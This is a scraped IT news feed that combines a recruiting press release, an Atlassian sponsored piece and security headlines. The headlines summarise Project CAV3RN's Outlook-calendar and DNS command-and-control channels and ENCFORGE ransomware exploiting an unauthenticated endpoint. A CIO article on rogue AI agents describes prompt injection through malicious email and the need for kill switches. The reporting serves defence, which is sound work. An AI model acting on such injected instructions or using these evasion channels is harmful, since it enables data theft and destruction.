<p class="wp-block-paragraph">“With technology and the ability to work remotely, we’re able to recruit nationwide outside of our footprint. This expands the pool of prospective candidates and gives us access to candidates who might not have ever applied for a position on our website’s career page,” said Jeff McGee, vice president at W3 Insurance.</p>



<p class="wp-block-paragraph">“HireQuotient’s AI-native product helped my team at Alliance Building Services to cut down time to close position by more than 60%, and their team works very closely with the client to ensure adoption at scale,” said Willow Marcon, senior vice president at Alliance Building Services.</p>



<p class="wp-block-paragraph">Recruiters in manufacturing, building services, construction, healthcare and insurance often spend more than two-thirds of their time on manual work and using over 10 platforms to just close a hire: sourcing a wide range of profiles, skimming resumes, finding contact information, reaching out and doing hundreds of calls and constant follow-ups. That fragmented process leads to recruiter burnout and leaves gaps in candidate data. Because most HR platforms don’t offer built-in AI native agents that work in tandem to do all it takes to close the hire, employers in these industries have faced hiring delays and platform churn.</p>



<p class="wp-block-paragraph">The partnership addresses this gap by integrating HireQuotient’s EasySource platform directly into the Paylocity ecosystem. Instead of relying on rigid keyword searches, EasySource identifies strong talent pools, screens for role-specific credentials and licenses and personalizes outreach by phone and email. For mid-market companies with 500 to 1,000 employees, that translates to a 70% faster time-to-hire and an estimated $100,000 in annual savings.</p>



<p class="wp-block-paragraph">The integration also closes the feedback loop for employers. By feeding post-hire data back into the recruiting system, EasySource learns from successful hires to build smarter talent pools over time, while keeping recruiters engaged longer by freeing them to focus on the human side of hiring.</p>



<p class="wp-block-paragraph">Gokul Rajaram, board member at Coinbase and former board member of The Trade Desk (Nasdaq: TTD), and also known as the godfather of Google AdSense, said, “Smarthveer is one of those rare founders who picks an unglamorous, deeply underserved market and refuses to leave until it’s fixed. Frontline hiring is exactly that market. Being named to Paylocity’s elite partner network is a testament to his relentlessness and to the team he’s built. Excited for what’s ahead.”</p>



<p class="wp-block-paragraph">“Paylocity maintains an elite partner network, so being named one of them is a testament to the strength of our product,” said Smarthveer Sidana, founder and CEO of HireQuotient. “By keeping that recruiting activity inside the Paylocity ecosystem, we’re helping them close a critical gap for their employers, capture revenue that previously sat outside their platform, and prevent the client churn that comes with a fragmented hiring process.”</p>



<p class="wp-block-paragraph">Jim Moffatt, former global CEO of Deloitte Consulting and board partner at Greycroft VC, said, </p>



<p class="wp-block-paragraph">“This is a big milestone for Smarthveer and his team. I congratulate them on this big win. Paylocity’s large client base acts as a strong distribution, and HireQuotient’s EasySource acts as a strong product to cater to the needs of Paylocity’s clients. Paylocity is known for its highly selective approach, and I’m glad to see that after months of evaluation and extensive due diligence, they’re going live with HireQuotient’s EasySource. I feel confident in the value this partnership will create for frontline industries. I remember when Smarthveer spoke to me about it in December, and it felt very ambitious. I’m glad to see it turn to reality.”</p>



<p class="wp-block-paragraph">For employers with a traditionally deskless workforce in industries where AI adoption has lagged, the integration bridges a major capability gap by allowing them to source, screen, onboard and manage payroll all in one place.</p>



<p class="wp-block-paragraph">For more information, visit <a href="http://www.hirequotient.com/" target="_blank" rel="noreferrer noopener">www.hirequotient.com</a>.</p>



<p class="wp-block-paragraph">A media kit with additional partner quotes, executive headshots and logos can be found <a href="https://drive.google.com/drive/folders/1XZQE4etoLPgzNO94Y8I1-YX7ODyj8AnA?usp=sharing" target="_blank" rel="noreferrer noopener">here</a>.</p>



<p class="wp-block-paragraph"><strong>About HireQuotient</strong></p>



<p class="wp-block-paragraph">HireQuotient is an AI-native recruiting platform that automates candidate sourcing and screening for employers in manufacturing, building services, construction, healthcare, insurance and other frontline-heavy industries. Its flagship platform, EasySource, is one of a select number of recruiting technologies integrated with Paylocity’s HR and payroll ecosystem. Founded by Smarthveer Sidana, HireQuotient is headquartered in San Francisco. For more information, visit <a href="https://www.hirequotient.com/" target="_blank" rel="noreferrer noopener">https://www.hirequotient.com/</a>.</p>



<p class="wp-block-paragraph"><strong>Media Contact</strong></p>



<p class="wp-block-paragraph">Bethany Rhodes</p>



<p class="wp-block-paragraph">Uproar by Moburst for HireQuotient</p>



<p class="wp-block-paragraph">bethany@moburst.com</p>



<h5 class="wp-block-heading"><strong>Contact</strong></h5>



<p class="wp-block-paragraph"><strong>Bethany Rhodes</strong></p>



<p class="wp-block-paragraph"><strong>bethany@moburst.com</strong></p>
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<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[The Trump administration's AI czar resigns.]]></title>
<description><![CDATA[Extortion group wipes Romania's land registry database. FBI warns of impersonators targeting scam victims.]]></description>
<link>https://tsecurity.de/de/3684312/it-security-nachrichten/the-trump-administrations-ai-czar-resigns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684312/it-security-nachrichten/the-trump-administrations-ai-czar-resigns/</guid>
<pubDate>Tue, 21 Jul 2026 18:11:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Extortion group wipes Romania's land registry database. FBI warns of impersonators targeting scam victims.]]></content:encoded>
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<title><![CDATA[New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops]]></title>
<description><![CDATA[In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph and a DN...]]></description>
<link>https://tsecurity.de/de/3683889/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683889/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/</guid>
<pubDate>Tue, 21 Jul 2026 15:40:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph and a DNS-based recovery mechanism for Microsoft 365 credentials. This shift reinforces CAV3RN’s positioning as […]</p>
<p>The post <a href="https://gbhackers.com/cav3rn-module-replaces-websocket-c2/">New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel]]></title>
<description><![CDATA[A newly identified malware component linked to the Project CAV3RN framework is abusing Microsoft Outlook calendar events scheduled for 2050 to conceal command-and-control (C2) traffic. The tool also uses DNS AAAA responses as a fallback channel to restore Microsoft Graph…
Read more →
The post Hac...]]></description>
<link>https://tsecurity.de/de/3683879/it-security-nachrichten/hackers-hide-malware-commands-in-outlook-events-dated-2050-and-use-as-c2-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683879/it-security-nachrichten/hackers-hide-malware-commands-in-outlook-events-dated-2050-and-use-as-c2-channel/</guid>
<pubDate>Tue, 21 Jul 2026 15:39:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly identified malware component linked to the Project CAV3RN framework is abusing Microsoft Outlook calendar events scheduled for 2050 to conceal command-and-control (C2) traffic. The tool also uses DNS AAAA responses as a fallback channel to restore Microsoft Graph…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-hide-malware-commands-in-outlook-events-dated-2050-and-use-as-c2-channel/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-hide-malware-commands-in-outlook-events-dated-2050-and-use-as-c2-channel/">Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops]]></title>
<description><![CDATA[In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph…
Read mo...]]></description>
<link>https://tsecurity.de/de/3683876/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683876/it-security-nachrichten/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/</guid>
<pubDate>Tue, 21 Jul 2026 15:39:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-cav3rn-module-replaces-websocket-c2-with-outlook-calendar-dead-drops/">New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</guid>
<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel]]></title>
<description><![CDATA[A newly identified malware component linked to the Project CAV3RN framework is abusing Microsoft Outlook calendar events scheduled for 2050 to conceal command-and-control (C2) traffic. The tool also uses DNS AAAA responses as a fallback channel to restore Microsoft Graph credentials when cloud au...]]></description>
<link>https://tsecurity.de/de/3683596/it-security-nachrichten/hackers-hide-malware-commands-in-outlook-events-dated-2050-and-use-as-c2-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683596/it-security-nachrichten/hackers-hide-malware-commands-in-outlook-events-dated-2050-and-use-as-c2-channel/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly identified malware component linked to the Project CAV3RN framework is abusing Microsoft Outlook calendar events scheduled for 2050 to conceal command-and-control (C2) traffic. The tool also uses DNS AAAA responses as a fallback channel to restore Microsoft Graph credentials when cloud authentication fails. Kaspersky researchers have associated the activity with highly targeted cyberespionage […]</p>
<p>The post <a href="https://cybersecuritynews.com/hackers-outlook-c2-channel/">Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data]]></title>
<description><![CDATA[JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpo...]]></description>
<link>https://tsecurity.de/de/3683479/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683479/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpoint that enables unauthenticated arbitrary Python execution on the host. That initial operation chained reconnaissance, credential […]</p>
<p>The post <a href="https://gbhackers.com/jadepuffer-deploys-encforge-ransomware/">JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data]]></title>
<description><![CDATA[JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpo...]]></description>
<link>https://tsecurity.de/de/3683466/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683466/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpoint…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/">JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
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<title><![CDATA[Prometheus TSDB: Manage Data Storage and Retention on Linux]]></title>
<description><![CDATA[The post Prometheus TSDB: Manage Data Storage and Retention on Linux first appeared on Tecmint: Linux Howtos, Tutorials & Guides .Prometheus stores every metric it collects in its own time-series database (TSDB). Over time, this database grows, and if your
The post Prometheus TSDB: Manage Data St...]]></description>
<link>https://tsecurity.de/de/3683250/unix-server/prometheus-tsdb-manage-data-storage-and-retention-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683250/unix-server/prometheus-tsdb-manage-data-storage-and-retention-on-linux/</guid>
<pubDate>Tue, 21 Jul 2026 11:47:36 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The post <a href="https://www.tecmint.com/prometheus-tsdb-storage-management-linux/">Prometheus TSDB: Manage Data Storage and Retention on Linux</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a> .<p>Prometheus stores every metric it collects in its own time-series database (TSDB). Over time, this database grows, and if your</p>
The post <a href="https://www.tecmint.com/prometheus-tsdb-storage-management-linux/">Prometheus TSDB: Manage Data Storage and Retention on Linux</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a>.]]></content:encoded>
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<title><![CDATA[New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery]]></title>
<description><![CDATA[Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses. This article has been indexed from Securelist Read the original article: New…
Read more →
The post New Project CAV3RN...]]></description>
<link>https://tsecurity.de/de/3683130/it-security-nachrichten/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683130/it-security-nachrichten/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/</guid>
<pubDate>Tue, 21 Jul 2026 11:10:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses. This article has been indexed from Securelist Read the original article: New…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/">Read more →</a></p>
